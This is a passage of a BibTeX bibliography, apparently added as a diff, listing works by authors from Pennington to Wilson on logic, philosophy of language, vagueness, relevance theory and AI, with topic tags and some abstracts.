Pennington}, + title = {Grid Coding: A Preprocessing Technique for Robot and + Machine Vision}, + journal = {Artificial Intelligence}, + year = {1971}, + volume = {2}, + number = {3--4}, + pages = {319--329}, + topic = {computer-vision;} + } + +@article{ willard:2002a, + author = {Dan E. Willard}, + title = {How to Extend the Semantic Tableaux and Cut-Free Versions + of the Second Incompleteness Theorem almost to {R}obinson's + Arithmetic {Q}}, + journal = {Journal of Symbolic Logic}, + year = {2002}, + volume = {67}, + number = {1}, + pages = {465--496}, + topic = {(in)completeness;formalizations-of-arithmetic;} + } + +@techreport{ wille:1987a, + author = {Rudolf Wille}, + title = {Lattices in Data Analysis: How to Draw Them With a + Computer}, + institution = {Fachbereich Mathematik, + Technische Hochschule Darmstadt}, + number = {Preprint Nr. 1067}, + year = {1987}, + address = {D-6100 Darmstadt, Schlossgartenstrasse 7}, + topic = {graphics-generation;graph-theory;} + } + +@incollection{ wille:1992a, + author = {Rudolf Wille}, + title = {Concept Lattices and Conceptual Knowledge Systems}, + booktitle = {Semantic Networks in Artificial Intelligence}, + publisher = {Pergamon Press}, + year = {1992}, + editor = {Fritz Lehmann}, + pages = {493--515}, + address = {Oxford}, + topic = {kr;semantic-networks;kr-course;} + } + +@article{ williams_b:1998a, + author = {Briony Williams}, + title = {Review of {\it Progress in Speech Synthesis}, edited by + {J}an {P}.{H}. van {S}anten and {R}ichard {W}. {S}proat and + {J}oseph {P}. {O}live and {J}ulia {H}irschberg}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {3}, + pages = {509--511}, + xref = {Review of: vansanten-etal:1997a.}, + topic = {speech-generation;} + } + +@incollection{ williams_bao:1970a1, + author = {Bernard A.O. Williams}, + title = {Deciding to Believe}, + booktitle = {Language, Belief, and Metaphysics}, + publisher = {State University of New York Press}, + year = {1970}, + editor = {Howard E. Kiefer and Milton K.Munitz}, + address = {Albany}, + missinginfo = {pages}, + xref = {Republication: williams_bao:1970a2.}, + topic = {belief;volition;} + } + +@incollection{ williams_bao:1970a2, + author = {Bernard A.O. Williams}, + title = {Deciding to Believe}, + booktitle = {Problems of the Self}, + publisher = {Cambridge University Press}, + year = {1973}, + editor = {Bernard A.O. Williams}, + pages = {136--151}, + address = {Cambridge, England}, + xref = {Original publication: williams_bao:1970a1.}, + topic = {belief;volition;} + } + +@incollection{ williams_bao:1973a, + author = {Bernard A.O. Williams}, + title = {Imperative Inference}, + booktitle = {Problems of the Self}, + publisher = {Cambridge University Press}, + year = {1973}, + editor = {Bernard A.O. Williams}, + pages = {152--158}, + address = {Cambridge, England}, + topic = {imperative-logic;} + } + +@incollection{ williams_bao:1973b, + author = {Bernard A.O. Williams}, + title = {Additional Note}, + booktitle = {Problems of the Self}, + publisher = {Cambridge University Press}, + year = {1973}, + editor = {Bernard A.O. Williams}, + pages = {159--165}, + address = {Cambridge, England}, + note = {To ``Imperative Inference.''}, + topic = {imperative-logic;} + } + +@incollection{ williams_bao:1973c, + author = {Bernard A.O. Williams}, + title = {Consequentialism and Integrity}, + booktitle = {Utilitarianism: For and Against}, + publisher = {Cambridge University Press}, + address = {Cambridge, England}, + year = {1973}, + editor = {J.J.C. Smart and Bernard Williams}, + topic = {utilitarianism;} + } + +@book{ williams_bao:1973d, + author = {Bernard A.O. Williams}, + title = {Problems of the Self}, + publisher = {Cambridge University Press}, + year = {1973}, + address = {Cambridge, England}, + ISBN = {0 521 20226 6}, + topic = {philosophy-of-mind;personal-identity;} + } + +@incollection{ williams_bao:1978a, + author = {B.A.O. Williams}, + title = {Ethical Consistency}, + booktitle = {Practical Reasoning}, + publisher = {Oxford University Press}, + year = {1978}, + editor = {Joseph Raz}, + pages = {91--109}, + address = {Oxford}, + topic = {moral-conflict;} + } + +@article{ williams_bc:1984a, + author = {Brian C. Williams}, + title = {Qualitative Analysis of {MOS} Circuits}, + journal = {Artificial Intelligence}, + year = {1984}, + volume = {24}, + number = {1--3}, + pages = {281--346}, + topic = {qualitative-physics;qualitative-reasoning;} + } + +@article{ williams_bc:1991a, + author = {Brian C. Williams}, + title = {A Theory of Interactions: Unifying Qualitative and + Quantitative Algebraic Reasoning}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {51}, + number = {1--3}, + pages = {39--94}, + acontentnote = {Abstract: + The apparently weak properties of a purely qualitative algebra + have led some to conclude that researchers must turn instead to + extra-mathematical properties of physical systems. We propose + instead that a more powerful qualitative algebra is needed, one + that merges the algebras on signs and reals, along with symbolic + techniques for manipulating this algebra. We have constructed a + hybrid algebra, called SR1 which allows intermediate + abstractions to be selected between traditional qualitative and + quantitative algebras. + SR1 and the symbolic algebra system Minima demonstrate + substantial progress towards a theory of continuous interactions + between quantities - one that allows just the interesting + features of interactions to be represented, and that captures + skills for composing and comparing interactions. This theory is + sufficiently expressive to determine the behaviors that a + variety of fluid regulation devices will achieve - not just what + is impossible. It embodies in a simple manner many existing + algebraic formalisms for describing and individually + manipulating interactions, including confluences, inequalities, + and monotonicity operators, as well as many of the individual + inferences of qualitative arithmetic, composition of + monotonicity, inequality algebra, transition analysis, + qualitative resolution and traditional algebra. } , + topic = {automated-algebra;reasoning-about-physical-systems; + combined-qualitative-and-quantitative-reasoning;} + } + +@article{ williams_bc-dekleer:1991a, + author = {Brian C. Williams and Johan de Kleer}, + title = {Qualitative Reasoning about Physical Systems: A Return to + Roots}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {51}, + number = {1--3}, + pages = {1--9}, + topic = {qualitative-physics;} + } + +@inproceedings{ williams_bc-nayak:1999a, + author = {Brian C. Williams and P. Pandurang Nayak}, + title = {A Model-Based Approach to Reactive Self-Configuring + Systems}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {theorem-proving;diagnosis;} + } + +@article{ williams_bo:1976a, + author = {Bernard O. Williams}, + title = {Where {C}homsky Stands}, + journal = {The New York Review of Books}, + year = {1975}, + pages = {43--45}, + month = {November 11}, + note = {Review of {\em Reflections on Language}, by {N}oam + {C}homsky and {\em On Noam Chomsky}, edited by {G}ilbert + {H}arman}, + topic = {Chomsky;philosophy-of-language;foundations-of-linguistics;} + } + +@incollection{ williams_bo:1985a, + author = {Bernard Williams}, + title = {Which Slopes Are Slippery?}, + booktitle = {Moral Dilemmas in Modern Medicine}, + publisher = {Oxford University Press}, + year = {1985}, + editor = {Mochael Lockwood}, + address = {Oxford}, + missinginfo = {pages}, + topic = {vagueness;} + } + +@article{ williams_cjf:1971a, + author = {C.J.F. Williams}, + title = {Stroup on {A}ustin on `Ifs'\,}, + journal = {Mind}, + year = {1971}, + volume = {80}, + number = {317}, + pages = {93--95}, + xref = {Commentary on stroup:1968a. Reply: stroup:1974a.}, + topic = {conditionals;JL-Austin;} + } + +@article{ williams_cjf:1980a, + author = {Christopehr J.F. Williams}, + title = {What Is, Necessarily Is, When It Is}, + journal = {Analysis}, + year = {1980}, + volume = {40}, + pages = {127--131}, + missinginfo = {number}, + acontentnote = {Towards the end of the sea-battle discussion, + Aristotle distinguishes (a) ``One or other of them is necessarily the + case'' from (b) ``Necessarily, one or other is the case.'' He says he + has given ``the same account'' of ``What is, necessarily is, when it + is.'' But to do this is to distinguish (c) ``What is the case, when it + is the case, is necessarily the case'' from (d) ``necessarily, what is + the case, when it is the case, is the case.'' Since he would accept + both (c) and (d), the purpose of the distinction is obscure. + tentative explanations are suggested.}, + topic = {future-contingent-propositions;} + } + +@article{ williams_cp-hogg:1994a, + author = {Colin P. Williams and Tad Hogg}, + title = {Exploiting the Deep Structure of Constraint Problems}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {70}, + number = {1--2}, + pages = {73--117}, + acontentnote = {Abstract: + We introduce a technique for analyzing the behavior of + sophisticated AI search programs working on realistic, + large-scale problems. This approach allows us to predict where, + in a space of problem instances, the hardest problems are to be + found and where the fluctuations in difficulty are greatest. Our + key insight is to shift emphasis from modelling sophisticated + algorithms directly to modelling a search space that captures + their principal effects. We compare our model's predictions with + actual data on real problems obtained independently and show + that the agreement is quite good. By systematically relaxing our + underlying modelling assumptions we identify their relative + contribution to the remaining error and then remedy it. We also + discuss further applications of our model and suggest how this + type of analysis can be generalized to other kinds of AI + problems. } , + topic = {constraint-satisfaction;AI-algorithms-analysis;search;} + } + +@incollection{ williams_dc:1951b, + author = {Donald C. Williams}, + title = {The Sea-Fight Tomorrow}, + booktitle = {Structure, Method, and Meaning: Essays in Honor of + {H}enry M. {S}heffer}, + publisher = {Liberal Arts Press}, + year = {1951}, + editor = {Paul Henle and Horace M. Kallen and Susanne K. Langer}, + address = {New York}, + topic = {Frege;intensional-logic;} + } + +@article{ williams_e:1977a, + author = {Edwin Williams}, + title = {Discourse and Logical Form}, + journal = {Linguistic Inquiry}, + year = {1977}, + volume = {29}, + number = {1}, + pages = {101--139}, + topic = {discourse;anaphora;LF;} + } + +@article{ williams_e:1980a, + author = {Edwin Williams}, + title = {Predication}, + journal = {Linguistic Inquiry}, + year = {1980}, + volume = {11}, + number = {1}, + pages = {203--238}, + topic = {predication;} + } + +@article{ williams_e:1981a, + author = {Edwin Williams}, + title = {Argument Structure and Morphology}, + journal = {The Linguistic Review}, + year = {1981}, + volume = {1}, + pages = {81--114}, + missinginfo = {number}, + topic = {argument-structure;} + } + +@article{ williams_e:1983a, + author = {Edwin Williams}, + title = {Syntactic and Semantic Categories}, + journal = {Linguistics and Philosophy}, + year = {1983}, + volume = {6}, + number = {3}, + pages = {423--446}, + contentnote = {Wants to show that semantic and syntactic categories + cut across each other. First, shows that there are + predicative NPs, i.e., NPs that are semantically + like verbs and adjectives. His examples involve + mostly indefinite descriptions and pseudo-clefts.}, + topic = {nl-semantic-types;syntactic-categories;} + } + +@article{ williams_e:1986a, + author = {Edwin Williams}, + title = {A Reassignment of the Functions of {LF}}, + journal = {Linguistic Inquiry}, + year = {1986}, + volume = {17}, + missinginfo = {pages, number}, + topic = {LF;} + } + +@article{ williams_e:1987a, + author = {Edwin Williams}, + title = {Implicit Arguments, Binding, and Control}, + journal = {Natural Language and Linguistic Theory}, + year = {1987}, + volume = {5}, + number = {2}, + pages = {151--180}, + topic = {binding-theory;syntactic-control;} + } + +@article{ williams_e:1987b, + author = {Edwin Williams}, + title = {{NP} Trace in Theta Theory}, + journal = {Linguistics and Philosophy}, + year = {1987}, + volume = {10}, + number = {4}, + pages = {433--447}, + topic = {nl-syntax;government-binding-theory;} + } + +@book{ williams_e:1993a, + author = {Edwin Williams}, + title = {Thematic Structure in Syntax}, + publisher = {The {MIT} Press}, + year = {1997}, + address = {Cambridge, Massachusetts}, + topic = {thematic-roles;GB-syntax;} + } + +@article{ williams_e:1997a, + author = {Edwin Williams}, + title = {The Asymmetry of Predication}, + journal = {Texas Linguistic Forum}, + year = {1997}, + volume = {38}, + pages = {323--333}, + topic = {predication;} + } + +@article{ williams_m:1984a, + author = {Meredith Williams}, + title = {Language Learning and the Representational Theory + of Mind}, + journal = {Synth\'ese}, + year = {1984}, + volume = {58}, + number = {2}, + pages = {129--151}, + topic = {mental-representations;philosophy-of-mind;} + } + +@article{ williams_m1:1999a, + author = {Michael Williams}, + title = {Meaning and Deflationary Truth}, + journal = {The Journal of Philosophy}, + year = {1999}, + volume = {96}, + number = {11}, + pages = {545--564}, + topic = {truth;foundations-of-semantics;} + } + +@incollection{ williams_ma:1994a, + author = {Mary-Anne Williams}, + title = {On the Logic of Theory Base Change}, + booktitle = {Logics in Artificial Intelligence}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Craig Mac{N}ish and Lu\'is Moniz Pereira and David Pearce}, + pages = {86--105}, + address = {Berlin}, + topic = {belief-revision;} + } + +@incollection{ williams_ma:1994b, + author = {Mary-Anne Williams}, + title = {Transmutations of Knowledge Systems}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {619--629}, + address = {San Francisco, California}, + topic = {kr;conditionals;belief-revision;kr-course;} + } + +@inproceedings{ williams_ma:1995a, + author = {Mary-Anne Williams}, + title = {Iterated Theory Base Change: A Computational Model}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1541--1547}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {belief-revision;} + } + +@incollection{ williams_ma:1996a, + author = {{Mary-{A}nne} Williams}, + title = {Towards a Practical Approach to Belief Revision: + Reason-based Change}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {412--420}, + address = {San Francisco, California}, + topic = {kr;belief-revision;} + } + +@incollection{ williams_ma-antoniou:1998a, + author = {Mary-Anne Williams and Grigoris Antoniou}, + title = {A Strategy for Revising Default Theory Extensions}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {24--33}, + address = {San Francisco, California}, + topic = {kr;defsult-logic;belief-revision;kr-course;} + } + +@incollection{ williamson_j:1987a, + author = {Janis S. Williamson}, + title = {An Indefiniteness Restriction for Relative + Clauses in Lakhota}, + booktitle = {The Representation of (In)definites}, + publisher = {The {MIT} Press}, + year = {1987}, + editor = {Eric Reuland and Alice {ter Meulen}}, + pages = {168--190}, + address = {Cambridge, Massachusetts}, + topic = {(in)definiteness;relative-clauses;Siouxan-language;} + } + +@inproceedings{ williamson_m-hanks:1993a, + author = {Mike Williamson and Steve Hanks}, + title = {Exploiting Domain Structure to Achieve Efficient Temporal + Reasoning}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + editor = {Ruzena Bajcsy}, + pages = {153--157}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {temporal-reasoning;} + } + +@inproceedings{ williamson_m:1994a, + author = {Mike Williamson}, + title = {Optimal Planning With a Goal-Directed Utility Model}, + booktitle = {Proceedings of the Second International Conference on {AI} + Planning Systems}, + year = {1994}, + editor = {Kristian J. Hammond}, + pages = {176--181}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {planning;decision-theoretic-planning;} + } + +@book{ williamson_oe:1975a, + author = {Oliver E. Williamson}, + title = {Markets and Hierarchies, Analysis and Antitrust + Implications: A Study in the Economics of Internal + Organization}, + publisher = {Free Press}, + year = {1975}, + address = {New York}, + ISBN = {0029353602}, + topic = {industrial-organization;corporate-management;} + } + +@article{ williamson_t:1988a, + author = {Timothy Williamson}, + title = {Assertion, Denial and Some Cancellation Rules in Modal + Logic}, + journal = {Journal of Philosophical Logic}, + year = {1988}, + volume = {17}, + number = {3}, + pages = {299--318}, + topic = {modal-logic;assertion;} + } + +@book{ williamson_t:1990a, + author = {Timothy Williamson}, + title = {Identity and Discrimination}, + publisher = {Blackwell Publishers}, + year = {1990}, + address = {Oxford}, + topic = {vagueness;identity;} + } + +@article{ williamson_t:1990b, + author = {Timothy Williamson}, + title = {Review of {\it For Truth in Semantics}, by {A}nthony + {A}ppiah}, + journal = {Linguistics and Philosophy}, + year = {1990}, + volume = {13}, + number = {1}, + pages = {129--135}, + xref = {Review of appiah:1986a.}, + topic = {foundations-of-semantics;philosophical-realism;truth;} + } + +@article{ williamson_t:1990c, + author = {Timothy Williamson}, + title = {Review of {\it Logical Investigations of Predication + Theory and the Problem of Universals}, by {N}ino {B}. + {C}occhiarella}, + journal = {Linguistics and Philosophy}, + year = {1990}, + volume = {13}, + number = {2}, + pages = {265--271}, + topic = {metaphysics;philosophical-realism;} + } + +@article{ williamson_t:1992a, + author = {Timothy Williamson}, + title = {On Intuitionistic Modal Epistemic Logic}, + journal = {Journal of Philosophical Logic}, + year = {1992}, + volume = {21}, + number = {1}, + pages = {63--79}, + topic = {intuitionistic-logic;modal-logic;epistemic-logic;} + } + +@article{ williamson_t:1992b1, + author = {Timothy Williamson}, + title = {Vagueness and Ignorance}, + journal = {Proceedings of the {A}ristotelian Society}, + year = {1992}, + volume = {66}, + pages = {145--162}, + note = {Supplementary Series.}, + xref = {Republication: williamson_t:1992b2.}, + topic = {vagueness;} + } + +@incollection{ williamson_t:1992b2, + author = {Timothy Williamson}, + title = {Vagueness and Ignorance}, + booktitle = {Vagueness: A Reader}, + publisher = {The {MIT} Press}, + year = {1997}, + editor = {Rosanna Keefe and Peter Smith}, + pages = {265--280}, + address = {Cambridge, Massachusetts}, + xref = {Republication of: williamson_t:1992b1.}, + topic = {vagueness;} + } + +@article{ williamson_t:1994a, + author = {Timothy Williamson}, + title = {Non-Genuine {M}ac{I}ntosh Logics}, + journal = {Journal of Philosophical Logic}, + year = {1994}, + volume = {23}, + number = {1}, + pages = {87--101}, + topic = {modal-logic;} + } + +@book{ williamson_t:1996a, + author = {Timothy Williamson}, + title = {Vagueness}, + publisher = {Routledge}, + year = {1996}, + address = {London}, + xref = {Review: mcgee-mclaughlin_bp:1998a.}, + topic = {vagueness;} + } + +@incollection{ williamson_t:1996b, + author = {Timothy Williamson}, + title = {Imagination, Stipulation, and Vagueness}, + booktitle = {Philosophival Issues, Vol. 8}, + publisher = {Ridgeview}, + year = {1996}, + editor = {E. Villanueva}, + address = {Atascadero, California}, + contentnote = {Says that the reason that we can't imagine a sharp + cut-off is that we can't recognize a stage (of + removal of grains) as the transitional stage when + we're actually confronted with the removal process, + thus we can't recognize a stage as transitional when + we imagine the removal process. The idea here is + that recognize entails knowledge. --Delia Graff.}, + topic = {vagueness;} + } + +@article{ williamson_t:1996c, + author = {Timothy Williamson}, + title = {What Makes it a Heap?}, + journal = {Erkenntnis}, + year = {1996}, + volume = {44}, + pages = {327--339}, + topic = {vagueness;} + } + +@article{ williamson_t:1996d, + author = {Timothy Williamson}, + title = {Putnam on the Sorites Paradox}, + journal = {Philosophical Papers}, + year = {1996}, + volume = {25}, + number = {1}, + pages = {47--56}, + topic = {vagueness;} + } + +@incollection{ williamson_t:1998a, + author = {Timothy Williamson}, + title = {The Broadness of the Mental: Some Logical Considerations}, + booktitle = {Philosophical Perspectives 12: Language, Mind, + and Ontology}, + publisher = {Blackwell Publishers}, + year = {1998}, + editor = {James E. Tomberlin}, + pages = {389--410}, + address = {Oxford}, + topic = {philosophy-of-mind;mental-representations;} + } + +@incollection{ williamson_t:1999a, + author = {Timothy Williamson}, + title = {Schiffer on the Epistemic Theory of Vagueness}, + booktitle = {Philosophical Perspectives 13: Epistemology, 1999}, + publisher = {Blackwell Publishers}, + year = {1999}, + editor = {James E. Tomberlin}, + pages = {505--517}, + address = {Oxford}, + topic = {vagueness;sorites-paradox;} + } + +@article{ williamson_t:1999b, + author = {Timothy Williamson}, + title = {On the Structure of Higher-Order Vagueness}, + journal = {Mind}, + year = {1999}, + volume = {108}, + number = {429}, + pages = {127--143}, + topic = {vagueness;} +} + +@incollection{ willie:1995a, + author = {Ulrich Willie}, + title = {Indicative Conditionals and Autoepistemic Reasoning}, + booktitle = {Knowledge and Belief in Philosophy and Artificial + Intelligence}, + publisher = {Akedemie Verlag}, + year = {1995}, + editor = {Armin Laux and Heinrich Wansing}, + pages = {147--162}, + address = {Berlin}, + topic = {conditionals;autoepistemic-logic;} + } + +@article{ wills:1990a, + author = {Linda Mary Wills}, + title = {Automated Program Recognition: A Feasibility + Demonstration}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {45}, + number = {1--2}, + pages = {113--171}, + acontentnote = {Abstract: + The recognition of familiar computational structures in a program + can help an experienced programmer to understand a program. + Automating this recognition process will facilitate many tasks + that require program understanding, e.g., maintenance, + translation, and debugging. This paper describes a prototype + recognition system which demonstrates the feasibility of + automating program recognition. The prototype system + automatically identifies occurrences of stereotyped algorithmic + fragments and data structures, called cliches, in + programs. It does so even though the cliches may be + expressed in a wide range of syntactic forms and may be in the + midst of unfamiliar code. Based on the known behaviors of these + cliches and the relationships between them, the system + generates a hierarchical description of a plausible design of + the program. It does this systematically and exhaustively, + using a parsing technique. This work is built on two previous + advances: a graphical, programming-language-independent + representation for programs, called the Plan Calculus, and an + efficient graph parsing algorithm.}, + topic = {automatic-programming;structure-recognition;} + } + +@article{ willshaw:1994a, + author = {David Willshaw}, + title = {Non-Symbolic Approaches to Artificial + Intelligence and the Mind}, + journal = {Philosophical Transactions of the Royal Society, Series A: + Physical Sciences and Engineering}, + year = {1994}, + volume = {349}, + number = {1689}, + pages = {7--101}, + note = {Available at http://www.jstor.org/journals/09628428.html}, + topic = {connectionist-models;foundations-of-AI; + computational-neuroscience;foundations-of-cognitive-science; + sub-symbolic-representations;} + } + +@incollection{ wilson_a-thomas_j:1997a, + author = {Andrew Wilson and Jenny Thomas}, + title = {Semantic Annotation}, + booktitle = {Corpus Annotation}, + publisher = {Longman}, + year = {1997}, + editor = {Roger Garside and Geoffrey Leech and Tony McEnery}, + pages = {53--65}, + address = {London}, + topic = {corpus-linguistics;corpus-annotation;lexical-semantics; + semantic-fields;} + } + +@book{ wilson_d:1975a, + author = {Deirdre Wilson}, + title = {Presuppositions and Non-Truth-Conditional Semantics}, + publisher = {Academic Press}, + year = {1975}, + address = {New York}, + topic = {presupposition;pragmatics;} + } + +@article{ wilson_d:1975b, + author = {Deirdre Wilson}, + title = {Presupposition, Assertion, and Lexical Items}, + journal = {Linguistic Inquiry}, + year = {1975}, + volume = {6}, + number = {1}, + pages = {95--114}, + topic = {presupposition;pragmatics;} + } + +@incollection{ wilson_d-sperber:1979a, + author = {Deirdre Wilson and Dan Sperber}, + title = {Ordered Entailments: An Alternative to Presuppositional + Theories}, + booktitle = {Syntax and Semantics 11: Presupposition}, + publisher = {Academic Press}, + year = {1979}, + editor = {ChoonKyo Oh and David A. Dineen}, + pages = {299--323}, + address = {New York}, + topic = {presupposition;pragmatics;} + } + +@incollection{ wilson_d-sperber:1981a, + author = {Deirdre Wilson and Dan Sperber}, + title = {On {G}rice's Theory of Conversation}, + booktitle = {Conversation and Discourse}, + publisher = {St. Martin's Press}, + year = {1981}, + editor = {Paul Werth}, + pages = {155--178}, + address = {New York}, + topic = {Grice;implicature;} + } + +@incollection{ wilson_d-sperber:1981b, + author = {Deirdre Wilson and Dan Sperber}, + title = {Irony and the Use-Mention Distinction}, + booktitle = {Radical Pragmatics}, + publisher = {Academic Press}, + year = {1981}, + editor = {Peter Cole}, + pages = {295--318}, + address = {New York}, + topic = {irony;} + } + +@incollection{ wilson_d-sperber:1985a, + author = {Deirdre Wilson and Dan Sperber}, + title = {Inference and Implicature in + Utterance Interpretation } , + booktitle = {Reasoning and Discourse Processes}, + publisher = {Academic Press}, + year = {1985}, + editor = {Terry Myers and Keith Brown and Brendan McGonigle}, + pages = {241--263}, + address = {New York}, + topic = {relevance-theory;implicature;} + } + +@incollection{ wilson_d-sperber:1986a, + author = {Deirdre Wilson and Dan Sperber}, + title = {Inference and Implicature}, + booktitle = {Meaning and Interpretation}, + publisher = {Basil Blackwell Publishers}, + year = {1986}, + editor = {Charles Travis}, + pages = {377--393}, + address = {Oxford, England}, + topic = {implicature;} + } + +@unpublished{ wilson_d-sperber:1986b, + author = {Deirdre Wilson and Dan Sperber}, + title = {An Outline of Relevance Theory}, + year = {1986}, + note = {Unpublished manuscript, University of London.}, + topic = {implicature;relevance-theory;pragmatics;} + } + +@incollection{ wilson_d-sperber:1986c, + author = {Deirdre Wilson and Dan Sperber}, + title = {On Defining Relevance}, + booktitle = {Philosophical Grounds of Rationality}, + publisher = {Oxford University Press}, + year = {1986}, + editor = {Richard E. Grandy and Richard Warner}, + pages = {243--258}, + address = {Oxford}, + topic = {implicature;relevance-theory;pragmatics;} + } + +@incollection{ wilson_d-sperber:1988a, + author = {Deirdre Wilson and Dan Sperber}, + title = {Representation and Relevance}, + booktitle = {Mental Representations: The Interface Between Language and + Reality}, + publisher = {Cambridge University Press}, + year = {1988}, + editor = {Ruth Kempson}, + pages = {133--153}, + address = {Cambridge, England}, + topic = {implicature;relevance-theory;pragmatics;} + } + +@unpublished{ wilson_d-sperber:1988b, + author = {Deirdre Wilson and Dan Sperber}, + title = {Mood and the Analysis of Non-Declarative Sentences}, + year = {1988}, + note = {Unpublished manuscript, University College London.}, + topic = {speech-acts;pragmatics;imperatives;interrogatives;} + } + +@article{ wilson_d-sperber:1992a, + author = {Deirdre Wilson and Dan Sperber}, + title = {On Verbal Irony}, + journal = {Lingua}, + year = {1992}, + volume = {87}, + number = {1/2}, + pages = {53--76}, + missinginfo = {number}, + topic = {irony;} + } + +@book{ wilson_d-sperber:1995a, + author = {Deirdre Wilson and Dan Sperber}, + title = {Relevance: Communication and Cognition}, + edition = {2}, + publisher = {Blackwell}, + year = {1995}, + address = {Oxford}, + ISBN = {0-631-19878-4}, + topic = {implicature;relevance-theory;} + } + +@incollection{ wilson_d-sperber:1998a, + author = {Deirdre Wilson and Dan Sperber}, + title = {Pragmatics and Time}, + booktitle = {Relevance Theory: Applications and Implications}, + publisher = {John Benjamins Publishing Co.}, + year = {1998}, + editor = {Robyn Carston and Seiji Uchida}, + pages = {1--22}, + address = {Amsterdam}, + topic = {relevance-theory;temporal-reasoning;pragmatics;} + } + +@article{ wilson_g:1978a, + author = {George Wilson}, + title = {On Definite and Indefinite Descriptions}, + journal = {The Philosophical Review}, + year = {1978}, + volume = {77}, + number = {1}, + pages = {48--76}, + topic = {definite-descriptions;definiteness;indefiniteness;} + } + +@article{ wilson_g:1991a, + author = {George Wilson}, + title = {Reference and Pronominal Descriptions}, + journal = {Journal of Philosophy}, + year = {1991}, + volume = {88}, + number = {7}, + pages = {359--387}, + topic = {reference;} + } + +@book{ wilson_gm:1989a, + author = {George M. Wilson}, + title = {The Intentionality of Human Action}, + publisher = {Stanford University Press}, + year = {1989}, + address = {Stanford, California}, + topic = {philosophy-of-action;intention;action;} + } + +@article{ wilson_k:1993a, + author = {Kent Wilson}, + title = {Comment on {P}eter of {S}pain, {J}im {M}ac{K}enzie, and + Begging the Question}, + journal = {Journal of Philosophical Logic}, + year = {1993}, + volume = {22}, + number = {3}, + pages = {323--331}, + xref = {Comment on mackenzie:1984a}, + topic = {dialogue-logic;argumentation;} + } + +@article{ wilson_m:1991a, + author = {Mark Wilson}, + title = {Reference and Pronominal Descriptions}, + journal = {Journal of Philosophy}, + year = {1991}, + volume = {86}, + pages = {359--387}, + missinginfo = {number}, + topic = {philosophy-of-language;definite-descriptions;demonstratives;} + } + +@article{ wilson_m:1994a, + author = {Mark Wilson}, + title = {Can We Trust Logical Form}, + journal = {Journal of Philosophy}, + year = {1994}, + volume = {91}, + number = {10}, + pages = {519--544}, + topic = {philosophy-of-language;foundations-of-semantics;} + } + +@article{ wilson_mh-latombe:1994a, + author = {Randall H. Wilson and Jean-Claude Latombe}, + title = {Geometric Reasoning about Mechanical Assembly}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {71}, + number = {2}, + pages = {371--396}, + topic = {assembly;spatial-reasoning;geometrical-reasoning;} + } + +@article{ wilson_nl:1965a, + author = {Neil L. Wilson}, + title = {Modality and Identity: A Defense}, + journal = {The Journal of Philosophy}, + year = {1965}, + volume = {62}, + number = {18}, + pages = {471--477}, + topic = {identity;quantifying-in-modality;} + } + +@article{ wilson_nl:1965b, + author = {Neil L. Wilson}, + title = {Comments}, + journal = {The Journal of Philosophy}, + year = {1965}, + volume = {62}, + number = {20}, + pages = {605--606}, + xref = {Commentary on: katz_jj:1965a.}, + topic = {philosophy-and-linguistics;} + } + +@article{ wilson_nl:1967a, + author = {Neil L. Wilson}, + title = {Linguistical Butter and Philosophical Parsnips}, + journal = {The Journal of Philosophy}, + year = {1967}, + volume = {64}, + number = {2}, + pages = {55--67}, + xref = {Review of katz_jj:1966a.}, + topic = {philosophy-of-language;philosophy-and-linguistics;} + } + +@article{ wilson_nl:1970a, + author = {Neil L. Wilson}, + title = {Grice on Meaning: The Ultimate Counterexample}, + journal = {No\^us}, + year = {1970}, + volume = {4}, + number = {3}, + pages = {295--302}, + topic = {speaker-meaning;pragmatics;} + } + +@unpublished{ wilson_nl:1970b, + author = {N.L. Wilson}, + title = {Note on the Form of Certain Elementary Facts}, + year = {1970}, + note = {Unpublished manuscript.}, + missinginfo = {Date is a guess.}, + topic = {adverbs;events;facts;philoso[phical-ontology;} + } + +@unpublished{ wilson_nl:1970c, + author = {N.L. Wilson}, + title = {Qualities and Quality Reference}, + year = {1971}, + note = {Unpublished manuscript.}, + topic = {metaphysics;color-terms;} + } + +@unpublished{ wilson_nl:1971a, + author = {N.L. Wilson}, + title = {The Two Main Problems of Philosophy and Some Tips + on Their Solution}, + year = {1971}, + note = {Unpublished manuscript.}, + contentnote = {The 2 problems are the mind-body problem and why + there should be something rather than nothing.}, + topic = {metaphysics;philosophy-of-mind;} + } + +@unpublished{ wilson_nl:1971b, + author = {N.L. Wilson}, + title = {On Semantically Relevant Whatsits: A Semantics + for Philosophy of Science}, + year = {1971}, + note = {Unpublished manuscript.}, + missinginfo = {Date is a guess.}, + topic = {foundations-of-semantics;philosophy-of-science;} + } + +@article{ wilson_nl:1972a, + author = {N.L. Wilson}, + title = {What Exactly {\it Is} {E}nglish?}, + journal = {Journal of Philosophical Logic}, + year = {1972}, + volume = {1}, + number = {2}, + pages = {170--183}, + topic = {foundations-of-linguistics;} + } + +@unpublished{ wilson_nl:1976a, + author = {N.L. Wilson}, + title = {The Ontology of General Semantics (Or, On the Nature + of Languages, Another Whack)}, + year = {1976}, + note 